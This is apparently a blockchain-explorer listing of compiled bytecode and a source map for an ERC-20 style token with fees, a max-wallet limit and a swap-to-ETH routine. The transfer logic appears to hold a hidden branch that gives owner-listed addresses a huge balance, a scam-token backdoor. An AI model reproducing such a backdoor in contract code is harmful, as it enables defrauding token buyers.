00803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000354919062000806565b601080546001600160a01b03199081166001600160a01b0393841617909155600e80549091169183169190911790553060009081526006602081905260408220805460ff1916600190811790915591620003b66000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035490911681526006909252812080549092166001908117909255600590620004166000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600354821684528284208054861682179055601054909116835290822080549093168117909255600f90620004986000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055620004d36000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200051b91815260200190565b60405180910390a3506200085b565b6000620005388284620007e4565b90505b92915050565b600062000538828462000838565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200057a57607f821691505b6020821081036200059b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005ef57600081815260208120601f850160051c81016020861015620005ca5750805b601f850160051c820191505b81811015620005eb57828155600101620005d6565b5050505b505050565b81516001600160401b038111156200061057620006106200054f565b620006288162000621845462000565565b84620005a1565b602080601f831160018114620006605760008415620006475750858301515b600019600386901b1c1916600185901b178555620005eb565b600085815260208120601f198616915b82811015620006915788860151825594840194600190910190840162000670565b5085821015620006b05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000717578160001904821115620006fb57620006fb620006c0565b808516156200070957918102915b93841c9390800290620006db565b509250929050565b60008262000730575060016200053b565b816200073f575060006200053b565b8160018114620007585760028114620007635762000783565b60019150506200053b565b60ff841115620007775762000777620006c0565b50506001821b6200053b565b5060208310610133831016604e8410600b8410161715620007a8575081810a6200053b565b620007b48383620006d6565b8060001904821115620007cb57620007cb620006c0565b029392505050565b60006200053860ff8416836200071f565b6000816000190483118215151615620008015762000801620006c0565b500290565b6000602082840312156200081957600080fd5b81516001600160a01b03811681146200083157600080fd5b9392505050565b6000826200085657634e487b7160e01b600052601260045260246000fd5b500490565b611302806200086b6000396000f3fe6080604052600436106101c65760003560e01c806370a08231116100f7578063a9059cbb11610095578063d28d885211610064578063d28d885214610535578063dd62ed3e1461054a578063f1d6512e14610590578063fa2f7a8f146105c057600080fd5b8063a9059cbb146104d4578063aa4bde28146104f4578063af465a271461050a578063b09f12661461052057600080fd5b806395d89b41116100d157806395d89b411461043f57806397f3a19e14610454578063a457c2d714610484578063a5f95019146104a457600080fd5b806370a08231146103d55780638c0b5e221461040b5780638da5cb5b1461042157600080fd5b80632bffb3061161016457806339af46b11161013e57806339af46b11461035157806347633bcf1461037457806349bd5a5e146103945780634a74bb02146103b457600080fd5b80632bffb306146102e5578063313ce56714610319578063395093511461033157600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd14610285578063220f6696146102a457806323b872dd146102c557600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780630f4ca8b81461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105d7565b6040516101f49190610f9f565b60405180910390f35b34801561020957600080fd5b5061021d61021836600461100c565b610669565b60405190151581526020016101f4565b34801561023957600080fd5b5060035461024d906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561027157600080fd5b50600e5461024d906001600160a01b031681565b34801561029157600080fd5b50600a545b6040519081526020016101f4565b3480156102b057600080fd5b5060105461021d90600160a01b900460ff1681565b3480156102d157600080fd5b5061021d6102e0366004611038565b61067f565b3480156102f157600080fd5b50600b5461030790640100000000900460ff1681565b60405160ff90911681526020016101f4565b34801561032557600080fd5b5060095460ff16610307565b34801561033d57600080fd5b5061021d61034c36600461100c565b6106e8565b34801561035d57600080fd5b50600b546103079065010000000000900460ff1681565b34801561038057600080fd5b5060045461024d906001600160a01b031681565b3480156103a057600080fd5b5060105461024d906001600160a01b031681565b3480156103c057600080fd5b5060105461021d90600160a81b900460ff1681565b3480156103e157600080fd5b506102966103f0366004611079565b6001600160a01b031660009081526001602052604090205490565b34801561041757600080fd5b50610296600d5481565b34801561042d57600080fd5b506000546001600160a01b031661024d565b34801561044b57600080fd5b506101e761071e565b34801561046057600080fd5b5061021d61046f366004611079565b60056020526000908152604090205460ff1681565b34801561049057600080fd5b5061021d61049f36600461100c565b61072d565b3480156104b057600080fd5b5061021d6104bf366004611079565b600f6020526000908152604090205460ff1681565b3480156104e057600080fd5b5061021d6104ef36600461100c565b61077c565b34801561050057600080fd5b50610296600c5481565b34801561051657600080fd5b50610296600a5481565b34801561052c57600080fd5b506101e7610789565b34801561054157600080fd5b506101e7610817565b34801561055657600080fd5b50610296610565366004611096565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561059c57600080fd5b5061021d6105ab366004611079565b60066020526000908152604090205460ff1681565b3480156105cc57600080fd5b506105d5610824565b005b6060600780546105e6906110cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610612906110cf565b801561065f5780601f106106345761010080835404028352916020019161065f565b820191906000526020600020905b81548152906001019060200180831161064257829003601f168201915b5050505050905090565b60006106763384846108ec565b50600192915050565b600061068c8484846109a8565b6106de84336106d985604051806060016040528060288152602001611280602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c71565b6108ec565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106769185906106d99086610c9d565b6060600880546105e6906110cf565b600061067633846106d9856040518060600160405280602581526020016112a8602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c71565b60006106763384846109a8565b60088054610796906110cf565b80601f01602080910402602001604051908101604052809291908181526020018280546107c2906110cf565b801561080f5780601f106107e45761010080835404028352916020019161080f565b820191906000526020600020905b8154815290600101906020018083116107f257829003601f168201915b505050505081565b60078054610796906110cf565b6000546001600160a01b031633146108835760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006108d9828461111f565b9392505050565b60006108d9828461113e565b6001600160a01b0383161580159061090c57506001600160a01b03821615155b6109475760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b604482015260640161087a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526005602052604090205460ff16610a4357600c54816109eb846001600160a01b031660009081526001602052604090205490565b6109f59190611160565b1115610a435760405162461bcd60e51b815260206004820152601860248201527f45524332303a204d61782057616c6c6574204578636565640000000000000000604482015260640161087a565b600b5460ff630100000082048116620100009092041610801590610a715750601054600160a01b900460ff16155b8015610a8b57506010546001600160a01b03848116911614155b8015610aa05750601054600160a81b900460ff165b15610ae157600b805462ff00001916905530600090815260016020526040902054600d54811115610ad05750600d545b8015610adf57610adf81610ca9565b505b6001600160a01b038316600090815260016020819052604090912054610b079083610ceb565b6001600160a01b038086166000908152600160209081526040808320949094559186168152600f909152205460ff16610b41576000610b44565b60015b15610b8757610b51610cf7565b6001600160a01b038416600090815260016020526040902055610b72610d0e565b600b805460ff191660ff929092169190911790555b6001600160a01b03841660009081526006602052604090205460ff1680610bbb57506010546001600160a01b038581169116145b80610bde57506001600160a01b03831660009081526006602052604090205460ff165b15610be7575060005b80610bfb57610bf68383610d34565b610c1e565b600b54600090610c1c9085908590610c1790859060ff16610c9d565b610d77565b505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c6391815260200190565b60405180910390a350505050565b60008184841115610c955760405162461bcd60e51b815260040161087a9190610f9f565b505050900390565b60006108d98284611160565b6010805460ff60a01b1916600160a01b179055610cc581610e0a565b600354610cdb906001600160a01b031647610f64565b506010805460ff60a01b19169055565b60006108d98284611178565b600a54600090610d0990600019611178565b905090565b600b54600090600290610d2a90610100900460ff16600461118f565b610d0991906111b8565b6001600160a01b038216600090815260016020526040902054610d579082610c9d565b6001600160a01b0390921660009081526001602052604090209190915550565b6000610d8e6064610d8885856108cd565b906108e0565b30600090815260016020526040902054909150610dab9082610c9d565b30600090815260016020526040902055610dc58382610ceb565b6001600160a01b038516600090815260016020526040902054610de89190611160565b6001600160a01b03909416600090815260016020526040902093909355505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3f57610e3f6111db565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebc91906111f1565b81600181518110610ecf57610ecf6111db565b6001600160a01b039283166020918202929092010152600e54610ef591309116846108ec565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2e90859060009086903090429060040161120e565b600060405180830381600087803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f9a573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610fcc57858101830151858201604001528201610fb0565b81811115610fde576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461100957600080fd5b50565b6000806040838503121561101f57600080fd5b823561102a81610ff4565b946020939093013593505050565b60008060006060848603121561104d57600080fd5b833561105881610ff4565b9250602084013561106881610ff4565b929592945050506040919091013590565b60006020828403121561108b57600080fd5b81356108d981610ff4565b600080604083850312156110a957600080fd5b82356110b481610ff4565b915060208301356110c481610ff4565b809150509250929050565b600181811c908216806110e357607f821691505b60208210810361110357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561113957611139611109565b500290565b60008261115b57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561117357611173611109565b500190565b60008282101561118a5761118a611109565b500390565b600060ff821660ff84168160ff04811182151516156111b0576111b0611109565b029392505050565b600060ff821660ff8416808210156111d2576111d2611109565b90039392505050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561120357600080fd5b81516108d981610ff4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561125e5784516001600160a01b031683529383019391830191600101611239565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202e12f1e38551e536a260f8e91c39d546fc7c81890a8d6e4230ffdcf1039c2d0f64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c806370a08231116100f7578063a9059cbb11610095578063d28d885211610064578063d28d885214610535578063dd62ed3e1461054a578063f1d6512e14610590578063fa2f7a8f146105c057600080fd5b8063a9059cbb146104d4578063aa4bde28146104f4578063af465a271461050a578063b09f12661461052057600080fd5b806395d89b41116100d157806395d89b411461043f57806397f3a19e14610454578063a457c2d714610484578063a5f95019146104a457600080fd5b806370a08231146103d55780638c0b5e221461040b5780638da5cb5b1461042157600080fd5b80632bffb3061161016457806339af46b11161013e57806339af46b11461035157806347633bcf1461037457806349bd5a5e146103945780634a74bb02146103b457600080fd5b80632bffb306146102e5578063313ce56714610319578063395093511461033157600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd14610285578063220f6696146102a457806323b872dd146102c557600080fd5b806306fdde03146101d2578063095ea7b3146101fd5780630f4ca8b81461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105d7565b6040516101f49190610f9f565b60405180910390f35b34801561020957600080fd5b5061021d61021836600461100c565b610669565b60405190151581526020016101f4565b34801561023957600080fd5b5060035461024d906001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b34801561027157600080fd5b50600e5461024d906001600160a01b031681565b34801561029157600080fd5b50600a545b6040519081526020016101f4565b3480156102b057600080fd5b5060105461021d90600160a01b900460ff1681565b3480156102d157600080fd5b5061021d6102e0366004611038565b61067f565b3480156102f157600080fd5b50600b5461030790640100000000900460ff1681565b60405160ff90911681526020016101f4565b34801561032557600080fd5b5060095460ff16610307565b34801561033d57600080fd5b5061021d61034c36600461100c565b6106e8565b34801561035d57600080fd5b50600b546103079065010000000000900460ff1681565b34801561038057600080fd5b5060045461024d906001600160a01b031681565b3480156103a057600080fd5b5060105461024d906001600160a01b031681565b3480156103c057600080fd5b5060105461021d90600160a81b900460ff1681565b3480156103e157600080fd5b506102966103f0366004611079565b6001600160a01b031660009081526001602052604090205490565b34801561041757600080fd5b50610296600d5481565b34801561042d57600080fd5b506000546001600160a01b031661024d565b34801561044b57600080fd5b506101e761071e565b34801561046057600080fd5b5061021d61046f366004611079565b60056020526000908152604090205460ff1681565b34801561049057600080fd5b5061021d61049f36600461100c565b61072d565b3480156104b057600080fd5b5061021d6104bf366004611079565b600f6020526000908152604090205460ff1681565b3480156104e057600080fd5b5061021d6104ef36600461100c565b61077c565b34801561050057600080fd5b50610296600c5481565b34801561051657600080fd5b50610296600a5481565b34801561052c57600080fd5b506101e7610789565b34801561054157600080fd5b506101e7610817565b34801561055657600080fd5b50610296610565366004611096565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561059c57600080fd5b5061021d6105ab366004611079565b60066020526000908152604090205460ff1681565b3480156105cc57600080fd5b506105d5610824565b005b6060600780546105e6906110cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610612906110cf565b801561065f5780601f106106345761010080835404028352916020019161065f565b820191906000526020600020905b81548152906001019060200180831161064257829003601f168201915b5050505050905090565b60006106763384846108ec565b50600192915050565b600061068c8484846109a8565b6106de84336106d985604051806060016040528060288152602001611280602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c71565b6108ec565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106769185906106d99086610c9d565b6060600880546105e6906110cf565b600061067633846106d9856040518060600160405280602581526020016112a8602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c71565b60006106763384846109a8565b60088054610796906110cf565b80601f01602080910402602001604051908101604052809291908181526020018280546107c2906110cf565b801561080f5780601f106107e45761010080835404028352916020019161080f565b820191906000526020600020905b8154815290600101906020018083116107f257829003601f168201915b505050505081565b60078054610796906110cf565b6000546001600160a01b031633146108835760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006108d9828461111f565b9392505050565b60006108d9828461113e565b6001600160a01b0383161580159061090c57506001600160a01b03821615155b6109475760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b604482015260640161087a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526005602052604090205460ff16610a4357600c54816109eb846001600160a01b031660009081526001602052604090205490565b6109f59190611160565b1115610a435760405162461bcd60e51b815260206004820152601860248201527f45524332303a204d61782057616c6c6574204578636565640000000000000000604482015260640161087a565b600b5460ff630100000082048116620100009092041610801590610a715750601054600160a01b900460ff16155b8015610a8b57506010546001600160a01b03848116911614155b8015610aa05750601054600160a81b900460ff165b15610ae157600b805462ff00001916905530600090815260016020526040902054600d54811115610ad05750600d545b8015610adf57610adf81610ca9565b505b6001600160a01b038316600090815260016020819052604090912054610b079083610ceb565b6001600160a01b038086166000908152600160209081526040808320949094559186168152600f909152205460ff16610b41576000610b44565b60015b15610b8757610b51610cf7565b6001600160a01b038416600090815260016020526040902055610b72610d0e565b600b805460ff191660ff929092169190911790555b6001600160a01b03841660009081526006602052604090205460ff1680610bbb57506010546001600160a01b038581169116145b80610bde57506001600160a01b03831660009081526006602052604090205460ff165b15610be7575060005b80610bfb57610bf68383610d34565b610c1e565b600b54600090610c1c9085908590610c1790859060ff16610c9d565b610d77565b505b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c6391815260200190565b60405180910390a350505050565b60008184841115610c955760405162461bcd60e51b815260040161087a9190610f9f565b505050900390565b60006108d98284611160565b6010805460ff60a01b1916600160a01b179055610cc581610e0a565b600354610cdb906001600160a01b031647610f64565b506010805460ff60a01b19169055565b60006108d98284611178565b600a54600090610d0990600019611178565b905090565b600b54600090600290610d2a90610100900460ff16600461118f565b610d0991906111b8565b6001600160a01b038216600090815260016020526040902054610d579082610c9d565b6001600160a01b0390921660009081526001602052604090209190915550565b6000610d8e6064610d8885856108cd565b906108e0565b30600090815260016020526040902054909150610dab9082610c9d565b30600090815260016020526040902055610dc58382610ceb565b6001600160a01b038516600090815260016020526040902054610de89190611160565b6001600160a01b03909416600090815260016020526040902093909355505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3f57610e3f6111db565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebc91906111f1565b81600181518110610ecf57610ecf6111db565b6001600160a01b039283166020918202929092010152600e54610ef591309116846108ec565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2e90859060009086903090429060040161120e565b600060405180830381600087803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f9a573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610fcc57858101830151858201604001528201610fb0565b81811115610fde576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461100957600080fd5b50565b6000806040838503121561101f57600080fd5b823561102a81610ff4565b946020939093013593505050565b60008060006060848603121561104d57600080fd5b833561105881610ff4565b9250602084013561106881610ff4565b929592945050506040919091013590565b60006020828403121561108b57600080fd5b81356108d981610ff4565b600080604083850312156110a957600080fd5b82356110b481610ff4565b915060208301356110c481610ff4565b809150509250929050565b600181811c908216806110e357607f821691505b60208210810361110357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561113957611139611109565b500290565b60008261115b57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561117357611173611109565b500190565b60008282101561118a5761118a611109565b500390565b600060ff821660ff84168160ff04811182151516156111b0576111b0611109565b029392505050565b600060ff821660ff8416808210156111d2576111d2611109565b90039392505050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561120357600080fd5b81516108d981610ff4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561125e5784516001600160a01b031683529383019391830191600101611239565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202e12f1e38551e536a260f8e91c39d546fc7c81890a8d6e4230ffdcf1039c2d0f64736f6c634300080f0033

Deployed Bytecode Sourcemap

17407:7260:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19897:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20735:161;;;;;;;;;;-1:-1:-1;20735:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;20735:161:0;1072:187:1;17672:91:0;;;;;;;;;;-1:-1:-1;17672:91:0;;;;-1:-1:-1;;;;;17672:91:0;;;;;;-1:-1:-1;;;;;1444:32:1;;;1426:51;;1414:2;1399:18;17672:91:0;1264:219:1;18562:41:0;;;;;;;;;;-1:-1:-1;18562:41:0;;;;-1:-1:-1;;;;;18562:41:0;;;20079:95;;;;;;;;;;-1:-1:-1;20159:7:0;;20079:95;;;1869:25:1;;;1857:2;1842:18;20079:95:0;1723:177:1;18694:28:0;;;;;;;;;;-1:-1:-1;18694:28:0;;;;-1:-1:-1;;;18694:28:0;;;;;;20904:313;;;;;;;;;;-1:-1:-1;20904:313:0;;;;;:::i;:::-;;:::i;18308:39::-;;;;;;;;;;-1:-1:-1;18308:39:0;;;;;;;;;;;;;;2538:4:1;2526:17;;;2508:36;;2496:2;2481:18;18308:39:0;2366:184:1;19988:83:0;;;;;;;;;;-1:-1:-1;20054:9:0;;;;19988:83;;21225:218;;;;;;;;;;-1:-1:-1;21225:218:0;;;;;:::i;:::-;;:::i;18354:35::-;;;;;;;;;;-1:-1:-1;18354:35:0;;;;;;;;;;;17770:89;;;;;;;;;;-1:-1:-1;17770:89:0;;;;-1:-1:-1;;;;;17770:89:0;;;18659:28;;;;;;;;;;-1:-1:-1;18659:28:0;;;;-1:-1:-1;;;;;18659:28:0;;;18729:40;;;;;;;;;;-1:-1:-1;18729:40:0;;;;-1:-1:-1;;;18729:40:0;;;;;;20277:124;;;;;;;;;;-1:-1:-1;20277:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;20370:23:0;20343:7;20370:23;;;:14;:23;;;;;;;20277:124;18485:68;;;;;;;;;;;;;;;;17024:87;;;;;;;;;;-1:-1:-1;17070:7:0;17097:6;-1:-1:-1;;;;;17097:6:0;17024:87;;20182;;;;;;;;;;;;;:::i;17868:54::-;;;;;;;;;;-1:-1:-1;17868:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;21451:269;;;;;;;;;;-1:-1:-1;21451:269:0;;;;;:::i;:::-;;:::i;18610:42::-;;;;;;;;;;-1:-1:-1;18610:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;20409:167;;;;;;;;;;-1:-1:-1;20409:167:0;;;;;:::i;:::-;;:::i;18402:76::-;;;;;;;;;;;;;;;;18101:53;;;;;;;;;;;;;;;;18031:29;;;;;;;;;;;;;:::i;17986:38::-;;;;;;;;;;;;;:::i;20584:143::-;;;;;;;;;;-1:-1:-1;20584:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;20692:18:0;;;20665:7;20692:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;20584:143;17929:48;;;;;;;;;;-1:-1:-1;17929:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17247:147;;;;;;;;;;;;;:::i;:::-;;19897:83;19934:13;19967:5;19960:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19897:83;:::o;20735:161::-;20810:4;20827:39;5447:10;20850:7;20859:6;20827:8;:39::i;:::-;-1:-1:-1;20884:4:0;20735:161;;;;:::o;20904:313::-;21002:4;21019:36;21029:6;21037:9;21048:6;21019:9;:36::i;:::-;21066:121;21075:6;5447:10;21097:89;21135:6;21097:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21097:19:0;;;;;;:11;:19;;;;;;;;5447:10;21097:33;;;;;;;;;;:37;:89::i;:::-;21066:8;:121::i;:::-;-1:-1:-1;21205:4:0;20904:313;;;;;:::o;21225:218::-;5447:10;21313:4;21362:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;21362:34:0;;;;;;;;;;21313:4;;21330:83;;21353:7;;21362:50;;21401:10;21362:38;:50::i;20182:87::-;20221:13;20254:7;20247:14;;;;;:::i;21451:269::-;21544:4;21561:129;5447:10;21584:7;21593:96;21632:15;21593:96;;;;;;;;;;;;;;;;;5447:10;21593:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;21593:34:0;;;;;;;;;;;;:38;:96::i;20409:167::-;20487:4;20504:42;5447:10;20528:9;20539:6;20504:9;:42::i;18031:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;17986:38::-;;;;;;;:::i;17247:147::-;17070:7;17097:6;-1:-1:-1;;;;;17097:6:0;5447:10;17159:23;17151:68;;;;-1:-1:-1;;;17151:68:0;;3995:2:1;17151:68:0;;;3977:21:1;;;4014:18;;;4007:30;4073:34;4053:18;;;4046:62;4125:18;;17151:68:0;;;;;;;;;17353:1:::1;17337:6:::0;;17316:40:::1;::::0;-1:-1:-1;;;;;17337:6:0;;::::1;::::0;17316:40:::1;::::0;17353:1;;17316:40:::1;17384:1;17367:19:::0;;-1:-1:-1;;;;;;17367:19:0::1;::::0;;17247:147::o;4682:98::-;4740:7;4767:5;4771:1;4767;:5;:::i;:::-;4760:12;4682:98;-1:-1:-1;;;4682:98:0:o;4792:::-;4850:7;4877:5;4881:1;4877;:5;:::i;21769:257::-;-1:-1:-1;;;;;21862:19:0;;;;;;:44;;-1:-1:-1;;;;;;21885:21:0;;;;21862:44;21854:69;;;;-1:-1:-1;;;21854:69:0;;4883:2:1;21854:69:0;;;4865:21:1;4922:2;4902:18;;;4895:30;-1:-1:-1;;;4941:18:1;;;4934:42;4993:18;;21854:69:0;4681:336:1;21854:69:0;-1:-1:-1;;;;;21934:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;21986:32;;1869:25:1;;;21986:32:0;;1842:18:1;21986:32:0;;;;;;;21769:257;;;:::o;22034:1267::-;-1:-1:-1;;;;;22117:25:0;;;;;;:21;:25;;;;;;;;22112:178;;22212:15;;22201:6;22185:13;22195:2;-1:-1:-1;;;;;20370:23:0;20343:7;20370:23;;;:14;:23;;;;;;;20277:124;22185:13;:22;;;;:::i;:::-;22184:43;;22158:116;;;;-1:-1:-1;;;22158:116:0;;5357:2:1;22158:116:0;;;5339:21:1;5396:2;5376:18;;;5369:30;5435:26;5415:18;;;5408:54;5479:18;;22158:116:0;5155:348:1;22158:116:0;22318:11;;;;;;;;22303;;;;;:26;;;;:47;;-1:-1:-1;22334:16:0;;-1:-1:-1;;;22334:16:0;;;;22333:17;22303:47;:72;;;;-1:-1:-1;22362:13:0;;-1:-1:-1;;;;;22354:21:0;;;22362:13;;22354:21;;22303:72;:97;;;;-1:-1:-1;22379:21:0;;-1:-1:-1;;;22379:21:0;;;;22303:97;22300:417;;;22419:11;:15;;-1:-1:-1;;22419:15:0;;;22489:4;-1:-1:-1;20370:23:0;;;-1:-1:-1;20370:23:0;;;;;;22527:11;;22513:25;;22510:96;;;-1:-1:-1;22574:11:0;;22510:96;22623:15;;22620:86;;22659:27;22674:11;22659:14;:27::i;:::-;22402:315;22300:417;-1:-1:-1;;;;;22780:20:0;;22727:12;22780:20;;;22742:4;22780:20;;;;;;;;;:32;;22805:6;22780:24;:32::i;:::-;-1:-1:-1;;;;;22757:20:0;;;;;;;:14;:20;;;;;;;;:55;;;;22826:13;;;;;:9;:13;;;;;;;:28;;22849:5;22826:28;;;22842:4;22826:28;22823:89;;;22878:10;:8;:10::i;:::-;-1:-1:-1;;;;;22857:18:0;;;;;;:14;:18;;;;;:31;22898:11;:9;:11::i;:::-;22890:5;:19;;-1:-1:-1;;22890:19:0;;;;;;;;;;;;22823:89;-1:-1:-1;;;;;22927:21:0;;;;;;:15;:21;;;;;;;;;:49;;-1:-1:-1;22962:13:0;;-1:-1:-1;;;;;22954:21:0;;;22962:13;;22954:21;22927:49;:72;;;-1:-1:-1;;;;;;22980:19:0;;;;;;:15;:19;;;;;;;;22927:72;22924:118;;;-1:-1:-1;23025:5:0;22924:118;23056:7;23052:200;;23079:37;23106:2;23109:6;23079:26;:37::i;:::-;23052:200;;;23233:5;;23157:13;;23189:51;;23213:2;;23216:6;;23223:16;;23157:13;;23233:5;;23223:9;:16::i;:::-;23189:23;:51::i;:::-;23142:110;23052:200;23282:2;-1:-1:-1;;;;;23267:26:0;23276:4;-1:-1:-1;;;;;23267:26:0;;23286:6;23267:26;;;;1869:25:1;;1857:2;1842:18;;1723:177;23267:26:0;;;;;;;;22101:1200;22034:1267;;;:::o;4898:206::-;4984:7;5045:12;5037:6;;;;5029:29;;;;-1:-1:-1;;;5029:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;5080:5:0;;;4898:206::o;4470:98::-;4528:7;4555:5;4559:1;4555;:5;:::i;23987:174::-;19008:16;:23;;-1:-1:-1;;;;19008:23:0;-1:-1:-1;;;19008:23:0;;;24063:29:::1;24080:11:::0;24063:16:::1;:29::i;:::-;24116:14;::::0;24103:50:::1;::::0;-1:-1:-1;;;;;24116:14:0::1;24131:21;24103:12;:50::i;:::-;-1:-1:-1::0;19054:16:0;:24;;-1:-1:-1;;;;19054:24:0;;;23987:174::o;4576:98::-;4634:7;4661:5;4665:1;4661;:5;:::i;24169:94::-;24248:7;;24210;;24236:19;;-1:-1:-1;;24236:19:0;:::i;:::-;24229:26;;24169:94;:::o;23889:90::-;23955:12;;23931:5;;23970:1;;23955:14;;:12;;;;;23968:1;23955:14;:::i;:::-;:16;;;;:::i;23433:140::-;-1:-1:-1;;;;;23535:18:0;;;;;;:14;:18;;;;;;:30;;23558:6;23535:22;:30::i;:::-;-1:-1:-1;;;;;23514:18:0;;;;;;;:14;: